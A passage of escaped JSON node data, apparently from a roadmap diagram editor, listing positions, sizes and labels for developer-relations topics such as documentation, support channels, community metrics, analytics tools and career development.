\"data\": {\n        \"label\": \"Engaging Content\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CfYvM0PZsFAhAMrghgvmZ\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -212.3848520284269,\n        \"y\": 2575.085184924085\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 212,\n      \"height\": 49,\n      \"id\": \"ZWkpgvXIzjN3_fOyhVEv0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -212.3848520284269,\n        \"y\": 2628.085184924085\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Creating Brand Voice\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"AwMwMU9hg_gCKPP4tykHb\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -212.3848520284269,\n        \"y\": 2628.085184924085\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 254,\n      \"height\": 49,\n      \"id\": \"NWxAxiDgvlGpvqdkzqnOH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 83.61857813823781,\n        \"y\": 2705.348933004529\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tracking Engagement\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CfYvM0PZsFAhAMrghgvmZ\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 83.61857813823781,\n        \"y\": 2705.348933004529\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 254,\n      \"height\": 49,\n      \"id\": \"46iMfYgC7fCZLCy-qzl1B\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 83.61857813823781,\n        \"y\": 2759.348933004529\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data-Driven Strategy Shift\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CfYvM0PZsFAhAMrghgvmZ\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 83.61857813823781,\n        \"y\": 2759.348933004529\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YUpo12YGiraLuyN0EHBKe\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -220.6292575725566,\n        \"y\": 2322.228142753175\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Developer Onboarding\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 10,\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"656UmcgVbEk-EFFNDWlDq\"\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 65,\n      \"positionAbsolute\": {\n        \"x\": -220.6292575725566,\n        \"y\": 2322.228142753175\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 65\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 65\n      }\n    },\n    {\n      \"width\": 168,\n      \"height\": 50,\n      \"id\": \"g3M6nfLr0DMcn-NCFF7nZ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -443.0654595100779,\n        \"y\": 2330.228142753175\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Documentation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LwNa3u9Lf88ju5w7CvSN5\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 168,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -443.0654595100779,\n        \"y\": 2330.228142753175\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 50\n      }\n    },\n    {\n      \"width\": 181,\n      \"height\": 49,\n      \"id\": \"RLf08xKMjlt6S9-MFiTo-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -717.0446939322721,\n        \"y\": 2386.2652830928573\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"User Guides\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mWcMSKnUQamUykBxND-Ju\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -717.0446939322721,\n        \"y\": 2386.2652830928573\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 181,\n      \"height\": 50,\n      \"id\": \"7IJO_jDpZUdlr_n5rBJ6O\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -717.0446939322721,\n        \"y\": 2333.2652830928573\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API References\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mWcMSKnUQamUykBxND-Ju\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 181,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -717.0446939322721,\n        \"y\": 2333.2652830928573\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 50\n      }\n    },\n    {\n      \"width\": 181,\n      \"height\": 49,\n      \"id\": \"6ubk20TBIL3_VrrRMe8tO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -717.0446939322721,\n        \"y\": 2280.2652830928573\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tutorials\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mWcMSKnUQamUykBxND-Ju\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -717.0446939322721,\n        \"y\": 2280.2652830928573\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 178,\n      \"height\": 50,\n      \"id\": \"xy9Kqtwrh5IhYHaqEhvl_\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -448.0654595100779,\n        \"y\": 2514.9438350815167\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Sample Projects\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LwNa3u9Lf88ju5w7CvSN5\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -448.0654595100779,\n        \"y\": 2514.9438350815167\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 50\n      }\n    },\n    {\n      \"width\": 181,\n      \"height\": 49,\n      \"id\": \"pGJrCyYhLLGUnv6LxpYUe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -717.0446939322721,\n        \"y\": 2460.9438350815167\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Code Samples\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mWcMSKnUQamUykBxND-Ju\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -717.0446939322721,\n        \"y\": 2460.9438350815167\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 181,\n      \"height\": 49,\n      \"id\": \"mWcMSKnUQamUykBxND-Ju\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -717.0446939322721,\n        \"y\": 2513.9438350815167\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Example Apps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"D7_iNPEKxFv0gw-fsNNrZ\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -717.0446939322721,\n        \"y\": 2513.9438350815167\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 181,\n      \"height\": 49,\n      \"id\": \"omnUSgUHZg2DmnOUJ0Xo1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -717.0446939322721,\n        \"y\": 2566.9438350815167\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Use Case Based\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mWcMSKnUQamUykBxND-Ju\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -717.0446939322721,\n        \"y\": 2566.9438350815167\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 178,\n      \"height\": 50,\n      \"id\": \"LwNa3u9Lf88ju5w7CvSN5\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -448.0654595100779,\n        \"y\": 2704.848933004529\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Support\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"71BBFjaON1NJi4rOHKW6K\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -448.0654595100779,\n        \"y\": 2704.848933004529\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 50\n      }\n    },\n    {\n      \"width\": 181,\n      \"height\": 49,\n      \"id\": \"oGTIvAY3zYgoiC63FQRSd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -717.1968739112813,\n        \"y\": 2653.683074703681\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Forums\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mh1BZDVkc-VwA8aQAmDhO\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -717.1968739112813,\n        \"y\": 2653.683074703681\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 181,\n      \"height\": 49,\n      \"id\": \"j6tr3mAaKqTuEFTRSCsrK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -717.1968739112813,\n        \"y\": 2706.683074703681\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Issue Tracking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mWcMSKnUQamUykBxND-Ju\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -717.1968739112813,\n        \"y\": 2706.683074703681\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 181,\n      \"height\": 49,\n      \"id\": \"4GCQ3stXxW1HrlAVC0qDl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -717.1968739112813,\n        \"y\": 2759.683074703681\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"FAQs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"omnUSgUHZg2DmnOUJ0Xo1\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -717.1968739112813,\n        \"y\": 2759.683074703681\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EBbvzM7n8Pqprksxb2QNd\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -684.6601057962052,\n        \"y\": 2932.998159988598\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Live Support\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"beyPlK5E92ZL4R5VsEVT5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 113,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -684.6601057962052,\n        \"y\": 2932.998159988598\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 36\n      }\n    },\n    {\n      \"width\": 161,\n      \"height\": 49,\n      \"id\": \"weyCcboaekqf5NuVAOxfU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.0446939322721,\n        \"y\": 2822.1959939613103\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Office Hours\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mh1BZDVkc-VwA8aQAmDhO\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 161,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -707.0446939322721,\n        \"y\": 2822.1959939613103\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 161,\n      \"height\": 49,\n      \"id\": \"1fc0iWwOkheUJ7d0np86L\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.0446939322721,\n        \"y\": 2877.1959939613103\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Webinars\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"weyCcboaekqf5NuVAOxfU\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 161,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -707.0446939322721,\n        \"y\": 2877.1959939613103\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rDZoFZFaTG-_eKCKVzuU_\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -467.3901779625485,\n        \"y\": 3016.677637527436\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Metrics & Analytics\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 10,\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"YUpo12YGiraLuyN0EHBKe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 214,\n      \"height\": 62,\n      \"positionAbsolute\": {\n        \"x\": -467.3901779625485,\n        \"y\": 3016.677637527436\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 62\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 62\n      }\n    },\n    {\n      \"width\": 220,\n      \"height\": 49,\n      \"id\": \"DCj1teu8Hp82EKnakFRPn\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -206.6292575725566,\n        \"y\": 3023.177637527436\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Key Metrics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"psk3bo-nSskboAoVTjlpz\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -206.6292575725566,\n        \"y\": 3023.177637527436\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 220,\n      \"height\": 49,\n      \"id\": \"afR1VviBs2w0k8UmP38vn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -206.6292575725566,\n        \"y\": 2778.0635429448794\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Community Growth\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"x8RIrK2VB-LBFbt6hAcQb\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -206.6292575725566,\n        \"y\": 2778.0635429448794\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 220,\n      \"height\": 49,\n      \"id\": \"RXj0yB7KsIOM5whwtyBBU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -206.6292575725566,\n        \"y\": 2831.0635429448794\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Engagement Rates\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"AwMwMU9hg_gCKPP4tykHb\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -206.6292575725566,\n        \"y\": 2831.0635429448794\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 220,\n      \"height\": 49,\n      \"id\": \"yhDBZfUAjumFHpUZtmLg3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -206.6292575725566,\n        \"y\": 2884.0635429448794\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Content Performance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"AwMwMU9hg_gCKPP4tykHb\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -206.6292575725566,\n        \"y\": 2884.0635429448794\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 220,\n      \"height\": 49,\n      \"id\": \"AwMwMU9hg_gCKPP4tykHb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -206.6292575725566,\n        \"y\": 2937.0635429448794\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Developer Satisfaction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"psk3bo-nSskboAoVTjlpz\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -206.6292575725566,\n        \"y\": 2937.0635429448794\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 251,\n      \"height\": 49,\n      \"id\": \"psk3bo-nSskboAoVTjlpz\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 93.5511521223986,\n        \"y\": 3023.177637527436\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CfYvM0PZsFAhAMrghgvmZ\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 93.5511521223986,\n        \"y\": 3023.177637527436\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 251,\n      \"height\": 49,\n      \"id\": \"8xrhjG9qmbsoBC3F8zS-b\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 93.5511521223986,\n        \"y\": 2938.1369032700813\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Google Analytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"I7RBMfoD30OstVLeTrMs9\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 93.5511521223986,\n        \"y\": 2938.1369032700813\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 251,\n      \"height\": 49,\n      \"id\": \"x8RIrK2VB-LBFbt6hAcQb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 93.5511521223986,\n        \"y\": 2885.1369032700813\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Social Media Analytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"AwMwMU9hg_gCKPP4tykHb\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 93.5511521223986,\n        \"y\": 2885.1369032700813\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 251,\n      \"height\": 49,\n      \"id\": \"AL3-UzREwTpsADTU0YtRW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 93.5511521223986,\n        \"y\": 2832.1369032700813\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Platform Specific Analytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"x8RIrK2VB-LBFbt6hAcQb\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 93.5511521223986,\n        \"y\": 2832.1369032700813\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 138,\n      \"height\": 49,\n      \"id\": \"N1uh7dVKfSPT7w0MlKzWO\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -720.1559941888381,\n        \"y\": 3023.177637527436\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Reporting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DCj1teu8Hp82EKnakFRPn\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -720.1559941888381,\n        \"y\": 3023.177637527436\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 272,\n      \"height\": 49,\n      \"id\": \"U2QKCu6TvDuxSNRfdM74n\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -718.0379046906206,\n        \"y\": 3120.0003654537495\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Regular Reports\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wcfrXA9zWZ4Taey7mR2yG\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 272,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -718.0379046906206,\n        \"y\": 3120.0003654537495\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 272,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 272,\n      \"height\": 49,\n      \"id\": \"0dRnUlgze87eq2FVU_mWp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -718.0379046906206,\n        \"y\": 3174.0003654537495\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Visualization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mh1BZDVkc-VwA8aQAmDhO\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 272,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -718.0379046906206,\n        \"y\": 3174.0003654537495\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 272,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 272,\n      \"height\": 49,\n      \"id\": \"mh1BZDVkc-VwA8aQAmDhO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -718.0379046906206,\n        \"y\": 3228.0003654537495\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Insights & Recommendations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"pGJrCyYhLLGUnv6LxpYUe\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 272,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -718.0379046906206,\n        \"y\": 3228.0003654537495\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 272,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bLs4BQ15ajuM6kdYjDBVB\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -269.07711620062577,\n        \"y\": 3184.1042117919405\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Career Development\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 10,\n          \"textAlign\": \"center\"\n        },\n        